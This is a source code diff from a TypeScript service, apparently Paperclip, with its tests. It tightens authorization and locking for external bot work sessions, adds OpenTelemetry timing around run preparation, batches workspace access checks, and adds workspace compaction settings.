import { grokRoutineService, grokWakeAcknowledgementSchema, lockGrokRoutineAcceptance } from "./grok-bot/routine.js";
|
||||
import { authorizeExternalBotBinding, authorizeExternalBotOperator, externalBotEnabled } from "./external-bot-authority.js";
|
||||
import { updateAgentConfigurationInTransaction } from "./agent-configuration-transaction.js";
|
||||
import type { heartbeatService } from "./heartbeat.js";
|
||||
@@ -220,6 +220,13 @@ function createBroker(db: Db) {
|
||||
acceptByUnixMs: Date.now() + 10 * 60_000, expiresAtUnixMs: Date.now() + 2 * 60 * 60_000 };
|
||||
},
|
||||
async authorizeFileSession(principal: McpPrincipal, assignmentId: string, taskId: string, write: boolean) {
|
||||
if (write && principal.grant.purpose === "agent" && principal.grant.agentId) {
|
||||
// A transfer transaction retains this lock through publication. Stop
|
||||
// and terminal reconciliation cannot fence the assignment midway through
|
||||
// an authorized effect; authority is rechecked after acquiring the lock.
|
||||
await db.select({ id: assignments.id }).from(assignments).where(and(eq(assignments.id, assignmentId),
|
||||
eq(assignments.companyId, principal.grant.companyId), eq(assignments.agentId, principal.grant.agentId))).for("share");
|
||||
}
|
||||
const { binding, assignment } = await authorizeAssignment(principal, assignmentId);
|
||||
if (binding.providerKind !== "grok_bot" || assignment.status !== "accepted") throw fail("Files require a current accepted Grok work session.");
|
||||
const [run] = await db.select().from(heartbeatRuns).where(and(eq(heartbeatRuns.id, assignment.runId), eq(heartbeatRuns.companyId, binding.companyId)));
|
||||
@@ -234,11 +241,15 @@ function createBroker(db: Db) {
|
||||
}
|
||||
return { agentId: binding.agentId, runId: assignment.runId };
|
||||
},
|
||||
async assertWakeAuthority(companyId: string, agentId: string, bindingId: string, assignmentId: string) {
|
||||
async assertWakeAuthority(companyId: string, agentId: string, bindingId: string, assignmentId: string, options: { requireOffered?: boolean } = {}) {
|
||||
const [binding] = await db.select().from(bindings).where(and(eq(bindings.id, bindingId), eq(bindings.companyId, companyId), eq(bindings.agentId, agentId), isNull(bindings.revokedAt)));
|
||||
const [grant] = binding?.grantId ? await db.select().from(mcpOauthGrants).where(eq(mcpOauthGrants.id, binding.grantId)) : [];
|
||||
if (!grant) throw fail("Wake connection authority is unavailable.");
|
||||
return authorizeAssignment({ grant, actor: { type: "agent", companyId, agentId }, company: { id: companyId, name: "", issuePrefix: "", status: "active" } }, assignmentId);
|
||||
const authority = await authorizeAssignment({ grant, actor: { type: "agent", companyId, agentId }, company: { id: companyId, name: "", issuePrefix: "", status: "active" } }, assignmentId);
|
||||
if (options.requireOffered && authority.assignment.status !== "offered") {
|
||||
throw fail("This work was already accepted. Read its feedback and operation receipts without another routine wake.");
|
||||
}
|
||||
return authority;
|
||||
},
|
||||
async authorizeBinding(principal: McpPrincipal, companyId: string, bindingId: string) {
|
||||
const b = await principalBinding(principal, false, true);
|
||||
@@ -264,10 +275,12 @@ function createBroker(db: Db) {
|
||||
});
|
||||
},
|
||||
async read(principal: McpPrincipal, assignmentId: string) {
|
||||
const { assignment } = await authorizeAssignment(principal, assignmentId);
|
||||
const { binding, assignment } = await authorizeAssignment(principal, assignmentId);
|
||||
return { assignmentId, revision: assignment.revision, status: assignment.status,
|
||||
leaseInstructions: "Renew before expiry using the renewal tool for this provider (paperclip_grok_renew or paperclip_dot_renew) and a stable requestId. Renewal is bounded to 24 hours from admission and cannot revive an expired or fenced run.",
|
||||
expiresAt: assignment.expiresAt, ...assignment.projection, accounting: { usage: null, cost: null } };
|
||||
expiresAt: assignment.expiresAt, ...assignment.projection,
|
||||
...(binding.providerKind === "grok_bot" ? { toolUsageInstructions: GROK_BOT_AGENT_TOOL_GUIDANCE } : {}),
|
||||
accounting: { usage: null, cost: null } };
|
||||
},
|
||||
async operation(principal: McpPrincipal, assignmentId: string, requestId: string, action: ExternalProviderOperation["action"], input: Record<string, unknown>) {
|
||||
const { binding, assignment: a } = await authorizeAssignment(principal, assignmentId);
|
||||
@@ -302,7 +315,7 @@ function createBroker(db: Db) {
|
||||
await new Promise(r => setTimeout(r, 50));
|
||||
}
|
||||
if (binding.providerKind === "grok_bot") await db.update(operations).set({ pendingReturnedAt: new Date() }).where(eq(operations.id, row.id));
|
||||
return { status: "pending", assignmentId, requestId, message: binding.providerKind === "grok_bot" ? "Use paperclip_grok_operation_status or retry with the same requestId. Do not create a new request ID." : "Use paperclip_dot_operation_status or retry with the same requestId. Do not create a new request ID." };
|
||||
return { status: "pending", assignmentId, requestId, message: binding.providerKind === "grok_bot" ? "Poll paperclip_grok_operation_status with this assignmentId and requestId until its receipt is terminal. Keep handling this routine; Paperclip will not start another routine for a tool result. Do not repeat the operation with a new request ID or perform dependent work before its receipt completes." : "Use paperclip_dot_operation_status or retry with the same requestId. Do not create a new request ID." };
|
||||
},
|
||||
async tasks(principal: McpPrincipal, after: string | null = null) {
|
||||
const b = await principalBinding(principal);
|
||||
@@ -505,12 +518,17 @@ function createBroker(db: Db) {
|
||||
const rows = await tx.select().from(assignments).where(and(eq(assignments.bindingId, binding.id), inArray(assignments.status, ["offered", "accepted"])));
|
||||
const [requestedRun] = expectedRunId ? await tx.select({ id: heartbeatRuns.id, status: heartbeatRuns.status }).from(heartbeatRuns)
|
||||
.where(and(eq(heartbeatRuns.id, expectedRunId), eq(heartbeatRuns.companyId, companyId), eq(heartbeatRuns.agentId, agentId))) : [];
|
||||
if (expectedRunId && (!requestedRun || !["queued", "running"].includes(requestedRun.status))) throw fail("The work session changed. Reload before stopping it.");
|
||||
// A failed Runner can still leave its external assignment active.
|
||||
// Fence that exact assignment too; an old terminal run with no current
|
||||
// assignment must never stop a successor's work.
|
||||
const targeted = expectedRunId ? rows.filter(row => row.runId === expectedRunId) : rows;
|
||||
if (expectedRunId && (!requestedRun || !["queued", "running"].includes(requestedRun.status) && !targeted.length)) {
|
||||
throw fail("The work session changed. Reload before stopping it.");
|
||||
}
|
||||
const [previousAssignment] = expectedRunId ? await tx.select({ status: assignments.status }).from(assignments)
|
||||
.where(and(eq(assignments.bindingId, binding.id), eq(assignments.runId, expectedRunId))) : [];
|
||||
const otherWork = expectedRunId && rows.some(row => row.runId !== expectedRunId);
|
||||
if (otherWork && previousAssignment && !["offered", "accepted"].includes(previousAssignment.status)) throw fail("The work session changed. Reload before stopping it.");
|
||||
const targeted = expectedRunId ? rows.filter(row => row.runId === expectedRunId) : rows;
|
||||
const runIds = [...new Set([...targeted.map(row => row.runId), ...(requestedRun ? [requestedRun.id] : [])])];
|
||||
if (targeted.length) await tx.update(assignments).set({ status: "fenced" }).where(inArray(assignments.id, targeted.map(row => row.id)));
|
||||
// A queued run has no external authority. Preparing work with no other
|
||||
@@ -648,7 +666,17 @@ function createBroker(db: Db) {
|
||||
settle: async event => {
|
||||
const p = z.object({ requestId: z.uuid(), binding: z.object({ runId: z.literal(runId), bindingId: z.literal(execution.provider.binding.bindingId),
|
||||
bindingGeneration: z.literal(execution.provider.binding.bindingGeneration) }).passthrough(), outcome: z.record(z.string(), z.unknown()) }).parse(event.payload);
|
||||
// Identify an immutable reserved accept command before taking any row
|
||||
// locks. A webhook may hold this advisory lock while awaiting HTTP;
|
||||
// Stop and acknowledgements must remain free to lock the binding.
|
||||
const [grokAccept] = await db.select({ id: operations.id }).from(operations)
|
||||
.innerJoin(assignments, eq(assignments.id, operations.assignmentId))
|
||||
.innerJoin(bindings, eq(bindings.id, assignments.bindingId))
|
||||
.where(and(eq(assignments.runId, runId), eq(bindings.id, p.binding.bindingId),
|
||||
eq(bindings.providerKind, "grok_bot"), eq(operations.requestId, p.requestId),
|
||||
sql`${operations.command}->>'action' = 'accept'`));
|
||||
await db.transaction(async tx => {
|
||||
if (grokAccept) await lockGrokRoutineAcceptance(tx as unknown as Db, p.binding.bindingId);
|
||||
// Binding precedes assignment everywhere: serialize mailbox IDs
|
||||
// with dispatch, readiness and reconnect without reversing locks.
|
||||
await tx.select({ id: bindings.id }).from(bindings).where(eq(bindings.id, p.binding.bindingId)).for("update");
|
||||
@@ -709,7 +737,7 @@ export function createDotRunnerMcpTools(db: Db, heartbeat?: DotHeartbeat, transf
|
||||
}));
|
||||
grokDefinitions.push({ name: "paperclip_grok_ack_wake", description: "Acknowledge an exact routine wake through this fixed agent connection. Echo its correlationId, bindingId and generation; for verification also echo its challenge. This records authenticated contact, never work acceptance, completion or remote termination.", schema: grokWakeAcknowledgementSchema });
|
||||
if (transfers) grokDefinitions.push(
|
||||
{ name: "paperclip_grok_get_upload_url", description: "Get a bounded ten-minute grant to attach exact file bytes to this accepted work session's task. Use your own HTTP/file tools, not a Paperclip filesystem. Compute SHA-256 and size, PUT those bytes, and keep requestId stable after a lost response. Revocation, pause, expiry and reassignment invalidate the grant.", schema: uploadSchema.omit({ companyId: true }).extend({ assignmentId: z.uuid() }) },
|
||||
{ name: "paperclip_grok_get_upload_url", description: "Get a bounded ten-minute grant to attach exact file bytes to this accepted work session's task. Use your own HTTP/file tools, not a Paperclip filesystem. Compute SHA-256 and size, PUT those bytes, and cite the returned publication.evidenceRef in your completion report. Keep requestId stable after a lost response. Revocation, pause, expiry and reassignment invalidate the grant.", schema: uploadSchema.omit({ companyId: true }).extend({ assignmentId: z.uuid() }) },
|
||||
{ name: "paperclip_grok_get_download_url", description: "Get a ten-minute download grant for one attachment of this accepted work session's task. Current session authority is rechecked on download; the grant is not a general file credential.", schema: z.object({ assignmentId: z.uuid(), attachmentId: z.uuid() }).strict() },
|
||||
);
|
||||
return {
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
import { afterEach, beforeEach, expect, it, vi } from "vitest";
|
||||
import { createRunPreparationTiming } from "./execution-preparation-timing.js";
|
||||
|
||||
const handles = vi.hoisted(() => ({ getTracer: vi.fn(), startActiveSpan: vi.fn() }));
|
||||
vi.mock("@opentelemetry/api", () => ({
|
||||
ROOT_CONTEXT: "root", SpanStatusCode: { ERROR: 2 },
|
||||
trace: { getTracer: handles.getTracer, getActiveSpan: () => undefined },
|
||||
}));
|
||||
beforeEach(() => {
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://collector.test");
|
||||
handles.getTracer.mockReturnValue({ startActiveSpan: handles.startActiveSpan });
|
||||
});
|
||||
afterEach(() => vi.unstubAllEnvs());
|
||||
|
||||
it.each(["lookup", "start", "after_callback", "missing_callback", "rejected", "end", "status"])("runs work once and preserves its result or error when tracing fails at %s", async failure => {
|
||||
const broken = () => { throw new Error("tracing failed"); };
|
||||
handles.getTracer.mockImplementation(failure === "lookup" ? broken : () => ({ startActiveSpan: handles.startActiveSpan }));
|
||||
handles.startActiveSpan.mockImplementation((_name, _options, _context, callback) => {
|
||||
if (failure === "start") throw new Error("tracer failed before callback");
|
||||
if (failure === "missing_callback") return undefined;
|
||||
if (failure === "rejected") return Promise.reject(new Error("tracer rejected"));
|
||||
const result = callback({ end: failure === "end" ? broken : vi.fn(), setStatus: failure === "status" ? broken : vi.fn() });
|
||||
if (failure === "after_callback") throw new Error("tracer failed after callback");
|
||||
return result;
|
||||
});
|
||||
const timing = createRunPreparationTiming("private-run", "native.controller");
|
||||
const result = {};
|
||||
const work = vi.fn(async () => result);
|
||||
await expect(timing("backend_setup", work)).resolves.toBe(result);
|
||||
expect(work).toHaveBeenCalledOnce();
|
||||
const error = new Error("original private failure");
|
||||
const failedWork = vi.fn(async () => { throw error; });
|
||||
await expect(timing("assigned_mcp", failedWork)).rejects.toBe(error);
|
||||
expect(failedWork).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it.each([undefined, "", " "])("does not consult tracing for endpoint %s", async endpoint => {
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", endpoint);
|
||||
handles.getTracer.mockClear();
|
||||
await expect(createRunPreparationTiming("run", "native.controller")("backend_setup", () => 42)).resolves.toBe(42);
|
||||
expect(handles.getTracer).not.toHaveBeenCalled();
|
||||
});
|
||||
@@ -0,0 +1,63 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { isSpanContextValid, ROOT_CONTEXT, SpanStatusCode, trace } from "@opentelemetry/api";
|
||||
|
||||
type PreparationPhase = "environment_selection" | "execution_configuration" | "session"
|
||||
| "workspace" | "github_environment" | "github_launchers" | "run_output"
|
||||
| "workspace_validation" | "runtime_services" | "instructions" | "runtime_selection"
|
||||
| "configuration_mentions" | "configuration_github_identity" | "configuration_secrets"
|
||||
| "configuration_ai_runtime" | "configuration_skills" | "configuration_connector_assignments"
|
||||
| "configuration_connector_skills" | "configuration_connector_delivery"
|
||||
| "configuration_connection_instructions" | "configuration_agent_identity"
|
||||
| "workspace_source_resolution"
|
||||
| "workspace_provision_policy"
|
||||
| "workspace_base_validation"
|
||||
| "workspace_source_authorization"
|
||||
| "workspace_provision"
|
||||
| "workspace_source_retention"
|
||||
| "workspace_binding"
|
||||
| "workspace_record_update"
|
||||
| "workspace_record_create"
|
||||
| "workspace_operation_binding"
|
||||
| "workspace_config_recording"
|
||||
| "workspace_repository_admission"
|
||||
| "workspace_project_repositories"
|
||||
| "workspace_recovery_root"
|
||||
| "github_access" | "wake_binding" | "backend_setup" | "connector_assignments"
|
||||
| "assigned_mcp" | "tool_authority" | "companion_selection" | "runner_binary"
|
||||
| "github_stop" | "coordinator_release" | "instruction_checkpoint"
|
||||
| "instruction_changes" | "warm_release" | "instruction_collection";
|
||||
|
||||
export function createRunPreparationTiming(runId: string, scope: "heartbeat.prepare" | "native.controller" = "heartbeat.prepare") {
|
||||
let runIdHash: string | undefined;
|
||||
return <T>(phase: PreparationPhase, work: () => T | Promise<T>): Promise<T> => {
|
||||
let operation: Promise<T> | undefined;
|
||||
const run = (span?: { setStatus(status: { code: number }): void; end(): void }) => {
|
||||
operation ??= (async () => {
|
||||
try { return await work(); }
|
||||
catch (error) {
|
||||
try { span?.setStatus({ code: SpanStatusCode.ERROR }); } catch {}
|
||||
throw error;
|
||||
} finally {
|
||||
try { span?.end(); } catch {}
|
||||
}
|
||||
})();
|
||||
return operation;
|
||||
};
|
||||
if (!process.env.OTEL_EXPORTER_OTLP_ENDPOINT?.trim()) return run();
|
||||
try {
|
||||
runIdHash ??= createHash("sha256").update(runId).digest("hex").slice(0, 12);
|
||||
const trigger = trace.getActiveSpan()?.spanContext();
|
||||
const traced = trace.getTracer(scope === "heartbeat.prepare" ? "paperclip.heartbeat-preparation" : "paperclip.native-controller").startActiveSpan(
|
||||
`${scope}.${phase}`,
|
||||
{
|
||||
attributes: { "paperclip.task.run.run_id": runIdHash },
|
||||
...(trigger && isSpanContextValid(trigger) ? { links: [{ context: trigger }] } : {}),
|
||||
},
|
||||
ROOT_CONTEXT,
|
||||
span => run(span),
|
||||
);
|
||||
void Promise.resolve(traced).catch(() => undefined);
|
||||
} catch {}
|
||||
return operation ?? run();
|
||||
};
|
||||
}
|
||||
@@ -4,13 +4,13 @@ import { isDeepStrictEqual, promisify } from "node:util";
|
||||
import fs from "node:fs/promises";
|
||||
import { constants as fsConstants } from "node:fs";
|
||||
import path from "node:path";
|
||||
import { and, eq, isNotNull, or, sql } from "drizzle-orm";
|
||||
import { and, inArray, eq, isNotNull, or, sql } from "drizzle-orm";
|
||||
import { activityLog, agents, heartbeatRuns, projects, projectWorkspaces, executionWorkspaceRepositoryAccess, executionWorkspaceRepositoryRoots, executionWorkspaceRepositories, executionWorkspaces, issues, type Db } from "@paperclipai/db";
|
||||
import { prepareWorkspaceRepositorySchema, type PrepareWorkspaceRepository, type ProjectRepository } from "@paperclipai/shared";
|
||||
import { withDirectoryPublicationLock } from "@paperclipai/adapter-utils/workspace-restore-merge";
|
||||
import { conflict, forbidden, notFound } from "../errors.js";
|
||||
import { parseNativeExecutionInput } from "../vendor/paperclip-runner/index.js";
|
||||
import { assertTaskWorkspaceAccess, assertTaskWorkspaceSourceProjectAccess } from "./task-workspace-source-access.js";
|
||||
import { assertTaskWorkspacesReadAccessForActors, assertTaskWorkspacesReadAccess, assertTaskWorkspaceAccess, assertTaskWorkspaceSourceProjectAccess } from "./task-workspace-source-access.js";
|
||||
import { authorizationService, canActorReadExecutionWorkspace, executionWorkspaceReadSqlCondition, issueReadSqlCondition, projectReadSqlCondition, type AuthorizationActor } from "./authorization.js";
|
||||
import { LOW_TRUST_ISSUE_ANCESTRY_MAX_DEPTH, resolveCoreTrustPreset } from "./trust-preset-resolver.js";
|
||||
import { taskWorkspaceSelectableCondition } from "./task-workspace-selection.js";
|
||||
@@ -239,7 +239,7 @@ export async function assertExecutionWorkspaceRootReadAccess(db: Db | DbTransact
|
||||
companyId: string; cwd: string; actor: AuthorizationActor; sourceWorkspaceId?: string;
|
||||
}): Promise<void> {
|
||||
const { sourceIds, sourceProjectIds } = await resolveRepositoryRootSources(db, { ...input, inspectCurrentAliases: true });
|
||||
for (const sourceId of sourceIds) await assertTaskWorkspaceAccess(db, input.actor, input.companyId, sourceId);
|
||||
await assertTaskWorkspacesReadAccess(db, input.actor, input.companyId, sourceIds);
|
||||
await assertRootProjectAccess(db, input.actor, input.companyId, sourceProjectIds);
|
||||
}
|
||||
|
||||
@@ -256,11 +256,13 @@ async function retainGitMetadataOwners(tx: DbTransaction, input: {
|
||||
const closure = await resolveRepositoryRootSources(tx, { companyId: input.companyId, cwd: input.commonRoot, inspectCurrentAliases: true });
|
||||
const workspaceIds = new Set([...closure.sourceIds, ...input.workspaceIds]);
|
||||
const projectIds = new Set([...closure.sourceProjectIds, ...input.projectIds]);
|
||||
const readerActors: AuthorizationActor[] = [];
|
||||
for (const reader of closure.overlappingEntries.filter(entry => entry.kind === "reader")) {
|
||||
const { actor } = await retainedRootReader(tx, input.companyId, reader);
|
||||
for (const id of workspaceIds) await assertTaskWorkspaceAccess(tx, actor, input.companyId, id);
|
||||
readerActors.push(actor);
|
||||
await assertRootProjectAccess(tx, actor, input.companyId, projectIds);
|
||||
}
|
||||
await assertTaskWorkspacesReadAccessForActors(tx, readerActors, input.companyId, workspaceIds);
|
||||
for (const [kind, ids] of [["source", workspaceIds], ["project_source", projectIds]] as const) {
|
||||
for (const scopeId of ids) if (!closure.entries.some(entry => entry.kind === kind && entry.scopeId === scopeId)) {
|
||||
await tx.insert(executionWorkspaceRepositoryAccess).values({ companyId: input.companyId,
|
||||
@@ -278,10 +280,8 @@ export async function assertIsolatedWorkspaceSourceReadAccess(db: Db, input: {
|
||||
const workspaceIds = new Set<string>(), projectIds = new Set<string>();
|
||||
for (const cwd of roots) {
|
||||
const closure = await resolveRepositoryRootSources(tx, { companyId: input.companyId, cwd, inspectCurrentAliases: true });
|
||||
for (const id of closure.sourceIds) {
|
||||
await assertTaskWorkspaceAccess(tx, input.actor, input.companyId, id);
|
||||
workspaceIds.add(id);
|
||||
}
|
||||
await assertTaskWorkspacesReadAccess(tx, input.actor, input.companyId, closure.sourceIds);
|
||||
for (const id of closure.sourceIds) workspaceIds.add(id);
|
||||
await assertRootProjectAccess(tx, input.actor, input.companyId, closure.sourceProjectIds);
|
||||
for (const id of closure.sourceProjectIds) projectIds.add(id);
|
||||
}
|
||||
@@ -315,10 +315,8 @@ export async function retainIsolatedWorkspaceSourceAccess(db: Db, input: {
|
||||
for (const id of closure.sourceProjectIds) projectIds.add(id);
|
||||
} catch (error) { failure ??= error; }
|
||||
}
|
||||
for (const id of workspaceIds) {
|
||||
try { await assertTaskWorkspaceAccess(tx, input.actor, input.companyId, id); }
|
||||
catch (error) { failure ??= error; }
|
||||
}
|
||||
try { await assertTaskWorkspacesReadAccess(tx, input.actor, input.companyId, workspaceIds); }
|
||||
catch (error) { failure ??= error; }
|
||||
for (const id of projectIds) {
|
||||
try { await assertRootProjectAccess(tx, input.actor, input.companyId, new Set([id])); }
|
||||
catch (error) { failure ??= error; }
|
||||
@@ -350,15 +348,17 @@ export async function retainIsolatedWorkspaceSourceAccess(db: Db, input: {
|
||||
try {
|
||||
const target = await resolveRepositoryRootSources(tx, { companyId: input.companyId, cwd: canonicalCwd, preparingCopyProjectIds });
|
||||
await assertRootProjectTrust(tx, { companyId: input.companyId, actor: input.actor, issueId: input.issueId, projectIds: target.sourceProjectIds });
|
||||
for (const id of target.sourceIds) await assertTaskWorkspaceAccess(tx, input.actor, input.companyId, id);
|
||||
await assertTaskWorkspacesReadAccess(tx, input.actor, input.companyId, target.sourceIds);
|
||||
await assertRootProjectAccess(tx, input.actor, input.companyId, target.sourceProjectIds,
|
||||
{ sharedProjectIds: target.sharedProjectIds, issueId: input.issueId });
|
||||
const readerActors: AuthorizationActor[] = [];
|
||||
for (const reader of target.overlappingEntries.filter(entry => entry.kind === "reader")) {
|
||||
const { actor, issue } = await retainedRootReader(tx, input.companyId, reader);
|
||||
readerActors.push(actor);
|
||||
await assertRootProjectTrust(tx, { companyId: input.companyId, actor, issueId: issue.id, projectIds: target.sourceProjectIds });
|
||||
for (const id of target.sourceIds) await assertTaskWorkspaceAccess(tx, actor, input.companyId, id);
|
||||
await assertRootProjectAccess(tx, actor, input.companyId, target.sourceProjectIds);
|
||||
}
|
||||
await assertTaskWorkspacesReadAccessForActors(tx, readerActors, input.companyId, target.sourceIds);
|
||||
} catch (error) { failure ??= error; }
|
||||
if (!failure && verifiedCopyProjectIds) {
|
||||
for (const scopeId of verifiedCopyProjectIds) if (!existing.some(entry => entry.kind === "isolated_copy" && entry.scopeId === scopeId)) {
|
||||
@@ -451,7 +451,7 @@ export async function assertExecutionWorkspaceRootWriteAccess(db: Db | DbTransac
|
||||
companyId: string; cwd: string; actor: AuthorizationActor; sourceWorkspaceId?: string; taskCreation?: TaskWorkspaceCreationTrustContext;
|
||||
} & Omit<NonNullable<Parameters<typeof assertTaskWorkspaceSourceProjectAccess>[4]>, "write">): Promise<void> {
|
||||
const { sourceIds, sourceProjectIds, sharedProjectIds } = await resolveRepositoryRootSources(db, { ...input, inspectCurrentAliases: true });
|
||||
for (const sourceId of sourceIds) await assertTaskWorkspaceAccess(db, input.actor, input.companyId, sourceId);
|
||||
await assertTaskWorkspacesReadAccess(db, input.actor, input.companyId, sourceIds);
|
||||
await assertRootProjectAccess(db, input.actor, input.companyId, sourceProjectIds, { ...input, sharedProjectIds });
|
||||
await assertRootProjectTrust(db, { ...input, projectIds: sourceProjectIds });
|
||||
}
|
||||
@@ -461,7 +461,7 @@ export function executionWorkspaceRepositoryService(db: Db) {
|
||||
return (await toolAccessService(db).listProjectRepositories(companyId, userId, localTrusted)).repositories;
|
||||
}
|
||||
async function requiresAnonymousAcquisition(reader: Db | DbTransaction, input: {
|
||||
issue: typeof issues.$inferSelect; workspace: typeof executionWorkspaces.$inferSelect | null;
|
||||
issue: typeof issues.$inferSelect; workspace: Pick<typeof executionWorkspaces.$inferSelect, "projectId"> | null;
|
||||
agentId?: string | null; runId?: string | null;
|
||||
}) {
|
||||
const { issue, workspace } = input;
|
||||
@@ -542,6 +542,9 @@ export function executionWorkspaceRepositoryService(db: Db) {
|
||||
const ownAdmissionOnly = input.preserveOwnAdmission && input.reader && input.sourceWorkspaceId
|
||||
&& sourceIds.size === 1 && sourceIds.has(input.sourceWorkspaceId)
|
||||
&& readers.every(reader => reader.issueId === input.reader!.issueId);
|
||||
const sourceProjects = sourceIds.size ? await tx.selectDistinct({ projectId: executionWorkspaces.projectId }).from(executionWorkspaces).where(and(
|
||||
eq(executionWorkspaces.companyId, input.companyId), inArray(executionWorkspaces.id, [...sourceIds]))) : [];
|
||||
const sourceActors: AuthorizationActor[] = [];
|
||||
for (const reader of readers) {
|
||||
const { actor, issue } = await retainedRootReader(tx, input.companyId, reader);
|
||||
await assertRootProjectTrust(tx, { companyId: input.companyId, projectIds: sourceProjectIds, actor, issueId: issue.id,
|
||||
@@ -556,10 +559,8 @@ export function executionWorkspaceRepositoryService(db: Db) {
|
||||
type: "board", userId: actor.onBehalfOfUserId, ignoreInstanceAdmin: true,
|
||||
}) : undefined));
|
||||
if (!ownSource) throw forbidden("Task workspace access is no longer available");
|
||||
} else for (const sourceId of sourceIds) await assertTaskWorkspaceAccess(tx, actor, input.companyId, sourceId);
|
||||
const sourceWorkspaces = sourceIds.size ? await tx.select().from(executionWorkspaces).where(and(
|
||||
eq(executionWorkspaces.companyId, input.companyId), or(...[...sourceIds].map(id => eq(executionWorkspaces.id, id))))) : [];
|
||||
for (const sourceWorkspace of sourceWorkspaces.length ? sourceWorkspaces : [null]) {
|
||||
} else sourceActors.push(actor);
|
||||
for (const sourceWorkspace of sourceProjects.length ? sourceProjects : [null]) {
|
||||
if (await requiresAnonymousAcquisition(tx, { issue, workspace: sourceWorkspace, agentId: reader.agentId!, runId: reader.scopeId })) {
|
||||
await reserveRootPolicy(tx, input.companyId, canonicalCwd, "anonymous_only");
|
||||
}
|
||||
@@ -569,8 +570,9 @@ export function executionWorkspaceRepositoryService(db: Db) {
|
||||
if (!input.issueId) throw forbidden("Workspace write authorization requires a task");
|
||||
await assertRootProjectTrust(tx, { ...input, projectIds: sourceProjectIds, actor: input.actor });
|
||||
await assertRootProjectAccess(tx, input.actor, input.companyId, sourceProjectIds, { sharedProjectIds, issueId: input.issueId });
|
||||
for (const sourceId of sourceIds) await assertTaskWorkspaceAccess(tx, input.actor, input.companyId, sourceId);
|
||||
sourceActors.push(input.actor);
|
||||
}
|
||||
await assertTaskWorkspacesReadAccessForActors(tx, sourceActors, input.companyId, sourceIds);
|
||||
for (const [kind, ids] of [["source", sharedSourceIds], ["isolated_source", isolatedSourceIds], ["project_source", sourceProjectIds],
|
||||
["shared_project_source", sharedProjectIds], ["isolated_project_source", isolatedProjectIds]] as const) {
|
||||
for (const scopeId of ids) {
|
||||
@@ -714,10 +716,8 @@ export function executionWorkspaceRepositoryService(db: Db) {
|
||||
for (const id of source.sourceProjectIds) projectIds.add(id);
|
||||
} catch (error) { failure ??= error; }
|
||||
}
|
||||
for (const id of workspaceIds) {
|
||||
try { await assertTaskWorkspaceAccess(tx, actor, input.companyId, id); }
|
||||
catch (error) { failure ??= error; }
|
||||
}
|
||||
try { await assertTaskWorkspacesReadAccess(tx, actor, input.companyId, workspaceIds); }
|
||||
catch (error) { failure ??= error; }
|
||||
for (const id of projectIds) {
|
||||
try { await assertRootProjectAccess(tx, actor, input.companyId, new Set([id])); }
|
||||
catch (error) { failure ??= error; }
|
||||
|
||||
@@ -12,6 +12,14 @@ import { authorizationService, executionWorkspaceReadSqlCondition, projectReadSq
|
||||
import type { SQL } from "drizzle-orm";
|
||||
import { createWorkspaceGitInspectionCache } from "./workspace-git-inspection-cache.js";
|
||||
import { notifyTerminalWorkspaceWork } from "./terminal-workspace-work.js";
|
||||
import {
|
||||
deleteWorkspaceCompactionTrash,
|
||||
findRegenerableWorkspaceDirs,
|
||||
isLinkedGitWorktree,
|
||||
moveWorkspaceDirsToTrash,
|
||||
purgeStaleWorkspaceCompactionTrash,
|
||||
restoreWorkspaceDirsFromTrash,
|
||||
} from "./workspace-compaction.js";
|
||||
import { execFile } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import fs from "node:fs/promises";
|
||||
@@ -282,8 +290,17 @@ export type ExecutionWorkspaceServiceOptions = {
|
||||
beforeTerminalWorkspaceCleanup?: (workspace: ExecutionWorkspaceRow) => Promise<void>;
|
||||
// The terminal-workspace reaper waits this many days after an issue tree
|
||||
// becomes terminal before it archives the workspace. A value of 0 disables
|
||||
// the cooldown. The default is 7 days.
|
||||
// the cooldown. The default is 1 day.
|
||||
workspaceReaperCooldownDays?: number;
|
||||
// The reaper removes regenerable files (installed dependencies, build output,
|
||||
// tool caches) from a terminal workspace this long after its issue tree
|
||||
// becomes terminal. The worktree, its branch, its commits, and every source
|
||||
// file stay, so the task can resume in place. Unset or null disables
|
||||
// compaction.
|
||||
workspaceCompactionDelayMs?: number | null;
|
||||
// Test hook. Runs after compaction moves directories out of the worktree and
|
||||
// before it re-checks the guard under the lifecycle lock.
|
||||
afterWorkspaceCompactionMove?: (workspace: ExecutionWorkspaceRow) => Promise<void>;
|
||||
inspectGitCloseReadiness?: (workspace: ExecutionWorkspace) => Promise<{
|
||||
git: ExecutionWorkspaceCloseGitReadiness | null;
|
||||
warnings: string[];
|
||||
@@ -946,27 +963,16 @@ async function inspectGitCloseReadiness(workspace: ExecutionWorkspace): Promise<
|
||||
if (repoRoot && baseRef) {
|
||||
try {
|
||||
const counts = (await runGit(["rev-list", "--left-right", "--count", `${baseRef}...HEAD`], workspacePath)).stdout.trim();
|
||||
const [behindRaw, aheadRaw] = counts.split(/\s+/);
|
||||
behindCount = behindRaw ? Number.parseInt(behindRaw, 10) : 0;
|
||||
aheadCount = aheadRaw ? Number.parseInt(aheadRaw, 10) : 0;
|
||||
const match = /^(\d+)\s+(\d+)$/.exec(counts);
|
||||
if (!match) throw new Error("Git returned invalid ahead/behind counts");
|
||||
behindCount = Number(match[1]);
|
||||
aheadCount = Number(match[2]);
|
||||
isMergedIntoBase = aheadCount === 0;
|
||||
} catch (error) {
|
||||
warnings.push(
|
||||
`Could not compare this workspace against ${baseRef}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
);
|
||||
}
|
||||
|
||||
try {
|
||||
await runGit(["merge-base", "--is-ancestor", "HEAD", baseRef], workspacePath);
|
||||
isMergedIntoBase = true;
|
||||
} catch (error) {
|
||||
const code = typeof error === "object" && error && "code" in error ? (error as { code?: unknown }).code : null;
|
||||
if (code === 1) isMergedIntoBase = false;
|
||||
else {
|
||||
warnings.push(
|
||||
`Could not determine whether this workspace is merged into ${baseRef}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
@@ -1366,6 +1372,11 @@ async function hasPendingTaskWorkspaceRecovery(tx: DbTransaction, input: {
|
||||
});
|
||||
}
|
||||
|
||||
// Compaction trash older than this belongs to no compaction in progress: the
|
||||
// move and the guard finish in one short transaction.
|
||||
